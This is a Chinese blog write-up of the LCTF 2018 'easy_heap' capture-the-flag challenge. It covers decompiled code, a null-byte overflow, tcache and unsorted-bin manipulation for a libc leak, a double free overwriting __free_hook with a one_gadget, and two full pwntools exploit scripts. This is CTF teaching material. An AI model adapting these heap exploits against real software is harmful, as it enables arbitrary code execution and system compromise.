LCTF 2018 easy_heap:

发布于 2024-05-11  137 次阅读


因为有一点懒所以没有截图,但是语言表达我觉得还是挺清楚的,因此需要仔细阅读理解

1.静态分析:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 int v3; // eax

 sub_A3A(a1, a2, a3);
 qword_202050 = (__int64)calloc(0xA0uLL, 1uLL);
 if ( !qword_202050 )
{
   puts("init error!");
   exit_0();
}
 while ( 1 )
{
   while ( 1 )
  {
     map();
     v3 = sub_CAD();
     if ( v3 != 2 )
       break;
     free_0();
  }
   if ( v3 > 2 )
  {
     if ( v3 == 3 )
    {
       puts_0();
    }
     else if ( v3 == 4 )
    {
       exit_0();
    }
  }
   else if ( v3 == 1 )
  {
     malloc_0();
  }
}
}

首先我们看到程序calloc了一个chunk,大小是0xb0,我们跟踪 qword_202050可以看到这个chunk 是放在.bss里面的

然后就会检测chunk创建成功了没有,如果成功了就会进入while循环

然后我们输入的东西就会存在v3里面

接收数字为1就是malloc;为2就是delete;为3就是puts,为4就是退出

1.malloc:

unsigned __int64 malloc_0()
{
 __int64 v0; // rbx
 int i; // [rsp+0h] [rbp-20h]
 unsigned int v3; // [rsp+4h] [rbp-1Ch]
 unsigned __int64 v4; // [rsp+8h] [rbp-18h]

 v4 = __readfsqword(0x28u);
 for ( i = 0; i <= 9 && *(_QWORD *)(16LL * i + qword_202050); ++i )
  ;
 if ( i == 10 )
{
   puts("full!");
}
 else
{
   v0 = qword_202050;
   *(_QWORD *)(v0 + 16LL * i) = malloc(0xF8uLL);
   if ( !*(_QWORD *)(16LL * i + qword_202050) )
  {
     puts("malloc error!");
     exit_0();
  }
   printf("size \n> ");
   v3 = sub_CAD();
   if ( v3 > 0xF8 )
     exit_0();
   *(_DWORD *)(16LL * i + qword_202050 + 8) = v3;
   printf("content \n> ");
   sub_BEC(*(_QWORD *)(16LL * i + qword_202050), *(unsigned int *)(16LL * i + qword_202050 + 8));
}
 return __readfsqword(0x28u) ^ v4;
}

这里进入一个大的循环然后在这个for里面有这样的一个判断:*(_QWORD *)(16LL * i + qword_202050)

这个判断加上的意思就是:i从0开始,如果i小于等于9,且16LL * i + qword_202050所在地址内有值,则i++。

也就是循环10次,然后找到一个没有发那个malloc指针的下标 i

经过分析我们可以看到这个结构体的结构是这个样子的:​
      {——malloc指针(8字节)
struct《                     最开始的地址就是qword_202050
      {——chunk_size(8字节)

创建完毕过后就通过调用sub_BEC接受字符串然后存进chunk的data里面,传入函数的参数一个是chunk的malloc指针,一个是chunk的size

2.sub_BEC:

然后我们来看一下sub_BEC这一个函数:

unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
 unsigned int v3; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 v3 = 0;
 if ( a2 )
{
   while ( 1 )
  {
     read(0, &a1[v3], 1uLL);
     if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
       break;
     ++v3;
  }
   a1[v3] = 0;
   a1[a2] = 0;
}
 else
{
   *a1 = 0;
}
 return __readfsqword(0x28u) ^ v4;
}

有一个判断,如果size-1的值小于v3,或a3[v3]中的值为\0,或a3[v3]中的值为换行符的时候跳出循环

这里有一个null-byte-overflow漏洞:因为在我们前面malloc的时候创建的chunk的大小都为[0xF8],那么我们在输入内容的时候如果我们的size写的是0xF8的话,结束的时候就会在这个位置的后面加上一个\0,也就是在0xF9的位置写上了\0

3.delete:

unsigned __int64 delete()
{
 unsigned int v1; // [rsp+4h] [rbp-Ch]
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 printf("index \n> ");
 v1 = sub_CAD();
 if ( v1 > 9 || !*(_QWORD *)(16LL * v1 + qword_202050) )
   sub_BBF();
 memset(*(void **)(16LL * v1 + qword_202050), 0, *(unsigned int *)(16LL * v1 + qword_202050 + 8));
 free(*(void **)(16LL * v1 + qword_202050));
 *(_DWORD *)(16LL * v1 + qword_202050 + 8) = 0;
 *(_QWORD *)(16LL * v1 + qword_202050) = 0LL;
 return __readfsqword(0x28u) ^ v2;
}

首先就是判断输入合不合规矩,然后就是通过memset函数清空data,然后释放chunk的malloc指针,并将size置空,result倒了一手后将malloc指针置空

4.puts函数:

打印data,没有什么漏洞

2.思路:

我们可以发现这个题的保护全部都开启了的,然后现在已知的漏洞就是哪一个字节溢出;因为保护全开,所以got表不可写这能往hook里面写东西了然后我们就是想办法泄露出libc基地址

那么我们怎么泄露libc基地址呢?

以前的时候有通过修改bk来指向libc里面的函数来泄露libc基地址的,但是这一道题没有修改的功能,所以不能这样;所以我们就只能通过null-byte-overflow漏洞

首先得创建10个chunk,7个放进tcache里面,三个放进unsorted bin里面

这里得注意,先释放0-5这6个chunk,然后再释放chunk9来把那三个chunk和top chunk隔开,避免与top chunk合并,然后我们再释放那三个chunk,我们会发现在unshort bin里面只用一个chunk,因为那三个chunk被合并成一个大的chunk(在这里面那三个chunk是0x300这么大)

然后我们就开始想办法重新启用unsortbin里面的chunk,首先得先把tcache里面的chunk提出来,因为tcache里面的chunk是LIFO原则,所以出来后的顺序有所不同,这里要注意一下;

然后这个时候再去申请就会把unsorted bin给提出来

这里要注意一下就是我们通过合并过后(6,7,8)chunk 6的fd和bk都指向了unsorted bin,然后在chunk 7 看来,前面的6是被释放了的,所以7的prev_size显示的是0x100(chunk 6 的大小),并和6合并,然后对于chunk 8来说,前面两个是已经合并在一起了的,所以它的prev_size大小是0x200,这样我们就成功修改了prev_size为0x200了

(关于为什么要修改成0x200,我的理解是我们需要在后面实现overlapping的话,它原理就是向前合并,其就需要三个chunk,第一个chunk的功能是修改中间的那一个chunk;中间的那一个chunk就是我们实际在使用,但是被系统认为没有使用的chunk,这样就能达到任意写的功能;后面的那一个chunk就是来触发合并的chunk;在这里一个chunk的大小是0x100,所以我们这里之所以要修改成0x200就是在为最后那一个chunk做准备)

既然这里修改已经达成了,那么我们就开始准备合并了:

接下来的步骤就是修改我们的inuse位了;既然要覆盖,那么我们就要把他的前一个重新启用才能,这里我们已经有了7个tcache,所以要把这里tcache给清空(这里我们的chunk0-5;chunk9是在tcache里面的,chunk6-8是我们的合并chunk,)清空过后再申请就是提取的我们合并的了,这个时候里面的chunk排布是这个样子的:chunk0-6 :我们的tcache里面的chunk,遵循LIFO
chunk7-9 :我们的unsorted里面拆出来的三份chunk,FIFO,顺序和合并的时候一样

因为我们的chunk9的prev_size被修改成了0x200,所以我们前面的chunk7的fd和bk要指向unsorted bin,这样才能泄露地址;

所以我们还得倒一次bin,首先要释放chunk0-5,然后单独释放chunk8(这里单独释放chunk8的原因是因为根据LIFO的原理,我们最后释放的chunk8,会在到时候申请的时候第一个申请出来变成chunk0,然后再释放chunk7,chunk7就会被放进unsorted bin里面,这样我们的fd和bk就会指向unsorted bin了,然后在申请回chunk8,但chunk8和chunk9就会物理相邻,这样就能修改掉chunk9的p;还有就是能够防止chunk7和top合并)

这个时候即使我们的chunk0(也就是之前的chunk8)处于被使用的状态,因为chunk9认为前面的chunk为free,所以chunk0就会被认为是被释放的,这个时候只要释放chunk9,就会把chunk0,chunk7合在一起放在unsorted bin里面(因为会认为chunk 7是这个合并chunk 的头)这样我们的chunk0就被假装释放了(这个时候还是可以通过show来获取里面的信息)所以我们只用再获取一个,把chunk7给获取出去,那么就会由chunk0来充当头,那么它的fd和bk就会变成unsorted bin的地址,这个时候show(0)就能得成功泄露了;

泄露之后的步骤就是要进行double free把__free_hook给修改成one_gadget然后执行一个delete就能获得权限了:

首先我们来看一下现在chunk的情况:chunk0 :合并chunk的中间那一个
chunk1-7 :清空tcache的时候布置的
chunk8 :为了让chunk0拿到地址创建的
chunk9 : 还在unsorted bin里面还没有创建

这个时候如果我们再去申请一下,我们就会把合并chunk的中间那一个再次创建出来,这个时候chunk0和chunk9都是它,这样一来就能double free了:

第一次重启目标chunk的时候,就能往里面写入free_hook的地址;第二次重启的时候,就会把free_hook当成一个空的块;第三次申请的时候就能往里里面写入one_gadget了

虽然tcache的检查不严格,但是你还是要检查堆的完整性的,所以我们要将chunk1-2个给放进tcache里面,为chunk0和chunk9做检查绕过

释放过后我们可以发现,在gdb里面虽然可以看到有4个在tcache里面,但是只显示了一个地址,那是因为这里的fd在double free过后指向了自己,形成了闭环

这个时候我们申请一个chunk(为我们之前的chunk9)往里面写入free_hook的地址,然后再申请一个chunk(之前的chunk0),在这个chunk之后的就会申请到我们的free_hook所在的位置了,所以再申请一个的时候就可以写入one_gadget了

3.脚本的实现:

from pwn import*
from LibcSearcher import*
from ctypes import*
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
jude = 0
if jude == 1:
   node = 'www.xyctf.top/api/proxy/072c17a6-5497-4758-9d77-071f90c650ff'
   num = 48565
   p = remote(node,num)
else:
   p = process('./pwn')
system_adr = 0
bin_sh = 0
libc_base = 0
def ret2csu(pop_addr,mov_adr,fun_addr,rdi,rsi,rdx):
   p = p64(pop_addr)
   p += p64(0) + p64(1) + p64(fun_addr) +p64(rdi) +p64(rsi) +p64(rdx) +p64(mov_adr)
   p += b'a'*56
   return p

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')

ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

def s(a):

   p.send(a)

def sa(a, b):

   p.sendafter(a, b)

def sl(a):

   p.sendline(a)

def sla(a, b):

   p.sendlineafter(a, b)

def rv(num):

   return p.recv(num)

def pr():

   print(p.recv())

def rl(a):

   return p.recvuntil(a)

def inter():

   p.interactive()

context(os='linux', arch='amd64', log_level='debug')

def g():

   gdb.attach(r)
def get_addr(arch):
   if arch == 64:
       return u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
   else:
       return u32(p.recvuntil(b'\xf7'))

def leaklibc(way,func_adr,name,libc):
   if way == 'LibcSearcher':
       libc = LibcSearcher('name',func_adr)
       libc_base = func_adr - libc.dump(name)
       system_adr = libc_base + libc.dump('system')
       bin_sh = libc_base + libc.dump('str_bin_sh')
   else:
       libc_base = func_adr - libc.sym[name]
       system_adr = libc_base + libc.sym['system']
       bin_sh = libc_base + next(libc.search(b'/bin/sh'))

   return libc_base , system_adr ,bin_sh
def heaplibc(libc_base,libc):
   system_adr = libc_base + libc.sym['system']
   bin_sh = libc_base + next(libc.search(b'/bin/sh'))
   free_hook = libc_base + libc.sym['__free_hook']
   malloc_hook = libc_base + libc.sym['__malloc_hook']
   return system_adr,bin_sh,free_hook,malloc_hook


def cmd(idx):
   p.recvuntil('>')
   p.sendline(str(idx))


def new(size, content):
   cmd(1)
   p.recvuntil('>')
   p.sendline(str(size))
   p.recvuntil('> ')
   if len(content) >= size:
       p.send(content)
   else:
       p.sendline(content)


def delete(idx):
   cmd(2)
   p.recvuntil('index \n> ')
   p.sendline(str(idx))


def show(idx):
   cmd(3)
   p.recvuntil('> ')
   p.sendline(str(idx))
   return p.recvline()[:-1]

for i in range(11):
   new(0x10,str(i))

for i in range(6):
   delete(i)

delete(9)
delete(6)
delete(7)
delete(8)

for i in range(7):
   new(0x10,str(i))

for i in range(3):
   new(0x10,b'hollk')

for i in range(6):
   delete(i)
delete(8)
delete(7)
new(0xf8,'hollk0')

delete(6)

delete(9)

for i in range(7):
   new(0x10,str(i))
new(0x10,b'900')
#show(0)
libc_addr = u64(show(0).strip().ljust(8, b'\x00'))
li(hex(libc_addr))
libc.base = libc_addr - 0x3ebca0
one_gadget = libc.base + 0x4f322

new(0x10,b'9 - next')  #9

delete(1)
delete(2)

delete(0)   #first
delete(9)   #second

payload1 = libc.sym['__free_hook'] + libc.base
li(hex(payload1))
li(hex(one_gadget))
new(0x10, p64(payload1))

payload2 = one_gadget
new(0x10,p64(payload2))    
new(0x10,p64(payload2))

delete(3)
#gdb.attach(p)
p.interactive()

带有解释的大佬的版本:

import sys
import os
import os.path
from pwn import *

hollk = process('./hollk')

def cmd(idx):
   hollk.recvuntil('>')
   hollk.sendline(str(idx))


def new(size, content):
   cmd(1)
   hollk.recvuntil('>')
   hollk.sendline(str(size))
   hollk.recvuntil('> ')
   if len(content) >= size:
       hollk.send(content)
   else:
       hollk.sendline(content)


def delete(idx):
   cmd(2)
   hollk.recvuntil('index \n> ')
   hollk.sendline(str(idx))


def show(idx):
   cmd(3)
   hollk.recvuntil('> ')
   hollk.sendline(str(idx))
   return hollk.recvline()[:-1]

def main():
   for i in range(7):
       new(0x10, str(i)) # 七个chunk准备放进tcache

   for i in range(3):
       new(0x10, str(i + 7)) # 三个chunk准备放进unsorted bin

   for i in range(6):
       delete(i) # 六个chunk释放进tcache
   delete(9) # 单独释放,填充tcache,防止后续释放进unsorted bin中的chunk与top chunk合并

   for i in range(6, 9):
       delete(i) # 释放进unsorted bin进行合并,修改目标堆块prev_size为0x200

   for i in range(7):
       new(0x10, str(i)) # 清空tcache bin

   # 分割合并块,保留prev_size
new(0x10, 'hollk7')
   new(0x10, 'hollk8')
   new(0x10, 'hollk9')

   for i in range(6):
       delete(i) # 填充tcache
   delete(8) # 填满tcache,防止后续释放进unsorted bin中的chunk与top chunk合并

   delete(7) # 获得fd指针与bk指针,为后续目标目标堆块的fd和bk指针指向unsorted bin做准备

   new(0xf8, 'hollk0') #null-byte-overflow漏洞覆盖目标堆块inuse标志位

   delete(6) # 填满tcache,补上一行代码在tcache中的缺口

   delete(9) # 释放目标堆块,让程序误认为unsorted bin中的堆块为合并的三个大堆块

   for i in range(7):
       new(0x10, str(i) + ' - tcache') # 清空tcache,再申请堆块就要从unsorted bin中分割
   new(0x10, '900') # 分割unsorted bin中的合并堆块,使目标堆块作为合并堆块的头块,这样目标堆块的fd指针和bk指针就会指向unsorted bin

   libc_leak = u64(show(0).strip().ljust(8, '\x00'))# 泄露目标堆块的fd和bk指针指向的unsorted bin地址

# 通过偏移算libc基地址
   hollk.info('libc leak {}'.format(hex(libc_leak)))
   libc = ELF('./libc.so.6')
   libc.address = libc_leak - 0x3ebca0

   new(0x10, '9 - next') # 分割合并堆块中作为头部的目标堆块,使得chunk0和chunk9都存放目标堆块
# 绕过 tcache检查
   delete(1)
   delete(2)
# double free
   delete(0) # 第一次释放目标堆块
   delete(9) # 第二次释放目标堆块

   new(0x10, p64(libc.symbols['__free_hook'])) # 重新启用第二次释放的目标堆块,并向其中写入free_hook地址,将free_hook挂进tcache bin中
   new(0x10, 'hollk') # 重启第一次释放的目标堆块,tcache中只留free_hook

   one_gadget = libc.address + 0x4f322
   new(0x10, p64(one_gadget)) # 启用作为空闲块的free_hook,并向其中写入one_gadget

   delete(1) # 触发hook

   hollk.interactive()

if __name__ == '__main__':
   main()

参考博客:http://t.csdnimg.cn/9muQB

题目下载:GitHub - LCTF/LCTF2018: Source code, writeups and exps in LCTF2018.

(注,要是使用glibc-all-in-one的话得把libc的名字改为libc.so.6,不然修改ld的时候会导致程序无法运行,这玩意搞了我一个晚上。。。。)


The world's full of lonely people afraid to make the first move.